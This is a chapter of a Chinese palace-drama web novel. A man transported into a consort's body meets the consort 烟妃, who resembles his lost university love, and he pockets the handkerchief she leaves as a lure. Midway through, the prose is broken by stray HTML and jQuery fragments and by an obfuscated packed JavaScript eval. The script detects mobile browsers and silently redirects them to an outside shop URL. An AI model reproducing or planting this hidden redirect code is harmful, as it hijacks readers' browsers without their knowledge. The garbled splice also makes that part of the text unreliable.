"留"字传出乾元殿的当日下午，宫里就没静过。
各宫各殿，凡是有点消息门路的宫女太监，都在私下里叨咕这一个字。
"皇上这回是真上心了。"
"永昌爷登基这么些年，从没留过。"
"从没留过？一回都没？"
"一回都没。你打听打听去。"
"那可了不得了。这拉妃到底是——"
"嘘。"
宫墙里头，一个字一个字地，就这么传开了。
到了傍晚，几个宫里位分不高、又爱打听的小妃嫔，已经开始拿着这事互相看眼色了。有的酸，有的怕，有的坐不住。丽妃被文馨压下去之后，宫里那些原本仗着丽妃说话的小主们，早就没了主心骨。这几日刚缓过一口气来，"留"字一出，又慌了。
而住在西南角、离乾元殿不远的那间烟华殿，那里头的动静，是最不寻常的。
那位坐在殿里的娘娘，一整个下午，一句话没说。她面前搁着一盘还没动的果子，一盏凉了的茶。她也没赶宫女，也没让人来伺候。她就坐着。
她的贴身宫女在门口守着，连大气都不敢出。她跟了这位主子几年了，她知道——**娘娘越静，事儿越大**。
日头一寸一寸地斜下去。快掌灯的时辰，那位娘娘才开口了。
"备礼。"她道，声音是平的，"明日一早，去拉妃那儿。"
"是。"
"什么样的礼？"
"这几日刚从南边贡进来那批新料子，挑两匹最好的。挑那种颜色艳的。"娘娘顿了顿，"再让人去太医院讨两瓶养胎的丸药——挑最好的。"
宫女应了，正要退下。
"哦。"娘娘又叫住她，"我从前那对暖手炉，收在柜子里的那对——一并送去。"
"娘娘那对暖手炉，是相爷从南边给您带回来的……"
"送去。"
"是。"
宫女屈膝退了下去。
殿里重新只剩那位娘娘一个人。她端起手边那盏凉了的茶，抿了一口，又搁下。
她眼里那点静，静得吓人。
拉妃偏殿这一头，老梁一整天都没什么精神。
翻牌之夜的宿醉退了，可他身上那种说不清的疲惫没退。他不是身子累，是心里那笔账没算清——那一夜到底发生了什么、那个"留"字是留了什么、永昌帝对他这个态度的变化里到底藏着什么——他都拼不出来。
娟儿知道自家娘娘不对劲，可她不敢问。她只是这一整日，脚步比平时轻了三分。
午后未时，殿门外一阵通传。
"皇上赏赐——"
老梁一激灵，起了身。他还没走到殿门口，几个内侍已经捧着东西进来了。头一个捧的是一件裘衣，狐狸皮的，滚了金边；第二个捧的是一盒血燕，用东珠盒子装着；第三个捧的是几方新贡的绢；最后一个手里捧的是一个小小的、木盒子。
传旨的太监上前一步："皇上口谕，赐拉妃裘衣一件、血燕一盒、绢十匹。另外这一味药——"他把那木盒子递上前，"是皇上让太医院里的老先生亲自开的方子。皇上口谕，拉妃这几日辛苦，让好生用这药，稳一稳。"
老梁接了旨，谢了恩。
那太监一走，屋里那些赏赐堆了半张榻。老梁没看那些绢、也没看那件裘衣。他伸手，把那个小小的木盒子取了过来，打开。
盒里是一小瓶药丸。药丸是暗红色的，闻着有一股极淡的、他说不上来的药香。木盒子底下压着一张小小的方笺，是太医院开的方子——他看不懂那上头的字，可他能看见方子最末几个字。
"稳……胎……"
老梁的手，那一下顿住了。
稳胎。
他没有听错。太医院给他开的这一味药，是**稳胎**的药。
他愣在那儿。他不知道太医院是怎么想到给他开这种药的——他大限那一夜刚过去，身上有没有什么谁也说不准，连他自己都不知道。可太医院已经把这药送过来了。
**永昌帝已经让人开了。**
这个动作老梁看得懂了。永昌帝不知道有没有——但他已经在往"有"的那一头准备了。他在盼。他早就在盼。
老梁把那木盒子重新盖上，搁在了小几上。他没有让娟儿收起来。他就让它搁在那儿，一整个下午他没再去碰它。
他心里那点说不清的东西，又深了一层。
那个孤独的男人在盼。而他这具身子——他这具借来的身子——也许，真的替他盼来了什么。
隔天一早，天才蒙蒙亮，殿门外就传来了通传。
"烟妃娘娘到——"
老梁那时候正在梳妆。他心里一愣。
烟妃？
他这几个月在宫里，听过这个名字，但从没见过这个人。他知道这位娘娘位分高，是丞相彧大人的女儿——丞相是何等人物他不知道，可下头人提起"相爷家的姑娘"时那种忌惮的口气，他记得。他也听过，这位烟妃素来跟丽妃走得近。丽妃被文馨压下去之后，烟妃一直没动静，仿佛跟丽妃那事儿无关。老梁本来还想着这一位是个聪明人，懂得避风头。
如今，她自己找上门来了。
老梁把梳到一半的头发放下，让宫女赶紧替他简单挽了个髻。他一边收拾一边心里过——她这个时辰来，来得极早。她这个来法，说明她昨儿一晚上没睡好。她这个来法，说明她坐不住了。
烟妃是被"留"字激出来的。
老梁心里门儿清。他这几个月里应付过不少这种角色——被上面的动静激出来的人，最急、最想装、也最容易露破绽。他做惯了这种局。
他心里那根弦，慢慢地又绷起来了。
他想着——先看她怎么演，再看怎么接。
娟儿撩开门帘，通传。
一阵极清的檀香先飘了进来。不浓，是那种被人熏过很多层、每一层都极淡的檀香。
然后是脚步声。轻的。走得不快，也不慢，稳。
老梁站起身，正要屈膝行礼——
那个女子，跨进了门槛。
她穿一件浅碧色的宫装，外罩一件月白的褙子。头发不像宫里旁的娘娘那样堆得高高的，只在脑后松松地挽了一个髻，鬓边斜插了一支素银的簪子。她走得很轻，可她走进来的一瞬，整间屋子那点惯常的、宫里的浊气，好像被她带来的檀香冲淡了。
她抬起头，对着老梁笑了一下。
老梁那半屈的膝，僵在了那儿。
他这一辈子，见过多少女人。他这一辈子，也没有一次这样地，僵在过一个人的面前。
那张脸。
那张笑起来的脸。
**左脸颊上有一颗小小的痣。**
**笑起来，两个小小的酒窝。**
老梁的脑子里，"轰"的一声。
他二十岁那年，大二上学期。学校大礼堂里搞什么新生的开学典礼，各院系的代表要上台自我介绍。他坐在台下第二十几排，无聊得快睡着了。念完好几个了他一个也没记住。
轮到台上一个女生站起来。她走到话筒前，声音清清淡淡的：
"我叫森语梦。物理系的。"
就这一句。
老梁那时候本来低着头在玩手指头。他听见这一句，鬼使神差地抬起了头。
台上那个女生站在光底下，短短的头发过了肩头，穿一件白衬衣，一条黑色的喇叭裤——他记得那身。他这辈子记得那身。她说完那一句就下台了，没多说一个字。她走下台经过老梁那一排的时候，抿了抿嘴，笑了一下。
那一下笑里——**左脸颊上的痣**，**两个酒窝**。
老梁那时候心脏"咚"的一下。
他后来在学校后山的那棵大树底下，见过她好几回。她一个人坐在那儿，戴着耳机，膝盖上搁一本书，一坐就是一下午。他离得远，看不清她在听什么，也看不清她在读什么。他只看得清她颈子上那串小小的、闪着金色的十字架。
他没走过去。一年，两年，他这辈子都没勇气靠近她。
毕业前那晚，在食堂门口最后见过她一面。她还是那副样子，安静地一个人打完饭走了。他站在门口，那句想说的话——想了整整两年——话到嘴边，又咽了回去。
他咽了它二十七年。
眼前这位烟妃，那颗痣、那对酒窝，落在老梁眼里，就是森语梦。
不是像。是同一颗痣，同一对酒窝。这世上——竟真的还有第二个人。
老梁那半屈的膝，慢慢地屈下去了。他脸上堆起了一个不知怎么起来的笑，他自己都感觉那个笑发僵。
"给烟妃姐姐请安。"他听见自己的声音，"我这殿里简陋，怠慢姐姐了。"
"妹妹别客气。"
那个声音——**清清淡淡的**。
跟"我叫森语梦，物理系的"，是同一个调子。
烟妃走过来，弯腰扶住了老梁的手。她的手指纤细，指甲修得干干净净，没有蔻丹。
"我早就想来看妹妹了，"她笑着说，那笑里的酒窝又深了一分，"都怪那个丽妃前些日子搅得宫里不安生，姐姐我也不敢过来。生怕给妹妹添了乱。妹妹别怨姐姐来晚了。"
老梁的手，被她握着。
那手是温的。有点凉，但底下是温的。
"姐姐说的哪里话。"老梁道。他的声音不知怎么就哑了一点，"姐姐能来看我，是我的福气。"
烟妃扶着他，两个人在榻上坐下了。
烟妃的宫女在门口把带来的礼一样一样摆出来——两匹南边贡进来的新料子，颜色艳丽；两瓶太医院最好的养胎丸药；一对精致的、小巧的暖手炉。那对暖手炉是银的，錾着极细的缠枝花，看得出是件有年头的老物件。
"这一对暖手炉，"烟妃指了指那对，声音低了些，"是我从前的一样心爱物什。我瞧着妹妹这院子朝西，秋日里怕是冷。妹妹拿去，用得着。"
老梁忙推辞："烟妃姐姐这么贵重的东西，妹妹怎么好收。"
"什么贵重不贵重的。"烟妃摆了摆手，"我这些日子看着它，也就是件死物。到了妹妹手里，能替妹妹焐一焐手，才算活了。妹妹要是不收，就是嫌姐姐送的东西不够好。"
老梁看着她。
烟妃笑着，脸上没有半分不自然。她那副样子，仿佛真的是姐姐来看妹妹，真的心疼这个受了几个月磋磨的年轻妃嫔。她的每一句话，落进老梁心里都是软的。
老梁在心里跟自己说了一句——**你别忘了，她是丞相的女儿。她是丽妃的闺蜜**。
可这一句在他心里响得极虚。
因为他望着她那张脸——那颗痣、那对酒窝——他二十岁那年那个没走过去的自己，正在他心里边站着，望着她。
他跟自己那一句"你别忘了"，被森语梦压下去了。
他听见自己道："那……妹妹就却之不恭了。多谢姐姐。"
烟妃笑得更深了。
两个人坐下说话。
烟妃说的都是些家常。她说她这几日一直挂念妹妹的身子，可宫里规矩多，她一位妃子贸然来看另一位，怕人说闲话，所以一直没敢来。她说她瞧着妹妹面色苍白，一定这几个月吃了不少苦。她说她今日冒昧过来，就是想跟妹妹说——姐姐虽然在这宫里位分不算低，可也没做过什么欺人的事。姐姐只想在这吃人的宫里，有个能说话的妹妹。
她说这话的时候，眼神是真诚的。
老梁看着她那眼神，一句应付的话都想不起来。他这几个月里，替永昌帝装过、替文馨演过、替父皇撑过、替有容周旋过——他把每一场戏都演得滴水不漏。可他此刻，坐在这个女人面前，他连话都想不起来说。
他只顾着看她。
看她说话时嘴角那个酒窝，深下去，又浅回来。看她眼睛眨的时候，睫毛投下的极浅的影子。看她鬓边那支素银簪子，随着她一次微微低头的动作，轻轻地颤了一下。
他这辈子没有这样看过一个人。
烟妃说到丽妃的时候，老梁才回过一点神。
"那个丽妃，"烟妃道，声音压低了些，眉头蹙了一下，"我早就跟她说过——妹妹啊，你这样下去，早晚要吃亏。可她不听。仗着一点小得宠，就目中无人。她给妹妹添了这许多堵心的事，姐姐我心里一直过意不去。"
老梁道："姐姐你跟她——她的事，跟姐姐没关系。"
"话虽这么说。"烟妃道，"她从前跟我走得近，人家总以为我跟她一路。可我这个人，从前是从前，如今是如今。她做的事情，她自己担着。跟我烟华殿，一点儿关系也没有。"
她说这话的时候，看着老梁的眼睛。
那双眼睛清澈得跟森语梦一模一样。
老梁点了点头，什么也没说。
烟妃坐了大约半个时辰，起身告辞。她走到门口时，又回过头，笑了一下。
"妹妹，"她道，"往后姐姐得空，就来看你。你要是不烦，闲着的时候，也过来姐姐那儿坐坐。姐姐那儿人清净。"
"好。"老梁道。他这一个"好"字，脱口而出。
烟妃满意地点了点头，出去了。
一阵极清的檀香，随着门帘的晃动，慢慢地散了。
殿里重新静下来。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900903|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
老梁一个人坐在榻上，望着那对搁在小几上的银暖手炉。
那对暖手炉在晨光里，闪着极温和的一点银光。
他坐了很久。
他心里有一个念头，一直冒着。他压不下去。
——他这辈子，是不是就为了今天。
他二十岁那年在大礼堂里看见森语梦、在大树下望着她的背影、在食堂门口没敢说出那句话——他这二十七年里，夜深人静的时候，多少次问过自己"我那时候要是走过去了，会怎么样"。他这二十七年，他妈的没有一个答案。
如今他四十七了。他借着婉清这具身子，落到了这个鬼地方。他这几个月被推着走、被人当棋子、被架在旗杆上——他自己都不知道自己是谁了。
可这个女人今天进了他的门。
同一颗痣。同一对酒窝。同样清清淡淡的声音。同样望着人时那份极安静的、他二十岁那年没读懂的眼神。
他心里一个荒谬的、他自己都吓一跳的念头冒了出来——
**要是这具身子，就是为了让他把那点没了结的事儿，了结掉呢？**
他知道这个念头有多蠢。
他知道烟妃是丞相的女儿。他知道她是丽妃的闺蜜。他知道她这个时辰来找他，绝不是为了做姐妹。他知道每一句"姐姐我心里过意不去"的底下，都藏着他这辈子最熟悉、最躲不开的那种东西——**利益**。
他都知道。
可他没有把这个念头按下去。
他放着它，让它在心里晃着。
他甚至有那么一秒，跟自己说了一句——**就当替梁志超那小子，了了一桩夙愿。演一场戏也不亏**。
他这辈子做过那么多单，他从来没走神过。他知道走神就是丢单。他知道走神就是死。
可他今天走神了。
娟儿这时候进来收茶盏。她低着头收拾，正要退出去，忽然"咦"了一声。
老梁回过神："怎么了？"
娟儿弯下腰，从榻边的地上，捡起了一样东西。
"娘娘，"她把那样东西递到老梁手里，"烟妃娘娘落下的。"
老梁低头看去。
那是一方极小的、叠得整整齐齐的手绢。手绢是浅碧色的，绣着一枝极小的、含苞未放的白梅。
手绢的一角，用极细的金线，绣着一个字。
**"烟"**。
老梁的手指，捏着这方小手绢。他心里那一下——
咯噔了一下。
他捏着这方手绢，看了好一会儿。
一个女人在别人殿里落下自己的手绢——那不是不小心。他这辈子见过太多不小心。这个"不小心"是最老的一招。**留下一样东西，让主人不得不找机会归还；找机会归还，就等于给了下一次见面的由头**。
烟妃想让他，主动去她那儿找她。
他捏着这方手绢，心里那点因为森语梦松开的弦，"啪"地一下，又绷回来了。
他脑子里"嗡"的一声，一半是森语梦的酒窝，一半是这方手绢。
他咯噔的那一下里，全是清醒的。他知道这个女人不干净。他知道这方手绢是钩。他知道每一步都是布好的。
可是——
他把那方手绢，慢慢地收进了袖中。
他没让娟儿收着。他没让人还回去。
他把它收在了自己身上。
娟儿望着他，眼里有一点不安。"娘娘……"
"你出去。"老梁道。
娟儿屈膝退了出去。
殿里只剩他一个人。
老梁摸了摸袖子里那方手绢。他自己都不知道自己在做什么。
他这辈子做过那么多单，他从来没有见过钩，还主动往上咬的。
可他今天咬了。
窗外，晨光一寸一寸地移过来，落在了那对搁在小几上的银暖手炉上。那对暖手炉在阳光里闪着极温和的一点银光，静静地摆着。
那对暖手炉，是烟妃相爷父亲从南边给她带回来的。
老梁不知道。
娟儿也不知道。
只有那对暖手炉，闪着它自己的、静静的银光。
慈宁宫这一头，文馨那日一整天没出殿门。
前一日夜里她从拉妃的偏殿回来之后，一夜没怎么合眼。她心里那盘棋，翻来覆去地过。
到了午后，垂西公公进来禀报——皇上赏了拉妃裘衣、血燕、绢十匹，还有一味太医院亲自开的稳胎药。
文馨那时候正端着一盏茶。她听见"稳胎"两个字，端着茶盏的那只手，稳得没有动。
她慢慢地把茶盏搁下。
"皇上——"她的声音是平的，"倒是心切。"
垂西公公不敢接话。
"还有呢？"
"还有……"垂西公公低下头，"今日一早，烟妃娘娘去了拉妃那儿。"
文馨的眉，那一下极轻地动了一下。
"烟妃？"
"是。"
"她去做什么。"
"送礼、探消息。奴才听说，坐了大约半个时辰。"
文馨没有立刻应声。她重新把那盏茶端起来，抿了一口，又搁下。
她眼里那点静，静得吓人。
丞相的女儿，这个时辰，去看拉妃。
一夜之间，宫里就有人坐不住了。
她那位从没见过面的丈夫、在南边操着一盘她刚刚才知道的大棋的丈夫，他也在推着这盘棋朝着乾元殿去。
而永昌帝——那个仇人——已经开始给她的女儿开稳胎药了。
文馨慢慢地闭上眼。
她这十几年里，一步一步走到今日。她替一个"死了"的丈夫守着节。她一手一手在这吃人的宫里，替他布着一盘他不知道的棋。可她现在知道他没死。她知道他自己也在南边布着一盘她不知道的棋。她知道那盘棋要用她的女儿做旗。她知道那个仇人已经在盼着她的女儿给他生个孩子。
她这十几年——
她心里那口气，那一下堵到了嗓子眼。
她死死地按住了那口气。
她睁开眼。
"垂西。"她道，声音是稳的，稳得让垂西公公一颤。
"奴才在。"
文馨没有立刻说话。她望着那扇糊得严严实实的窗子，望了很久。
然后她极轻地开口了。
"传嘉峥。"她说，"今夜。"
"是。"
垂西公公深深躬身，退了出去。
殿里只剩文馨一个人。
窗外，秋日的一片薄阳，正在慢慢地，斜下去。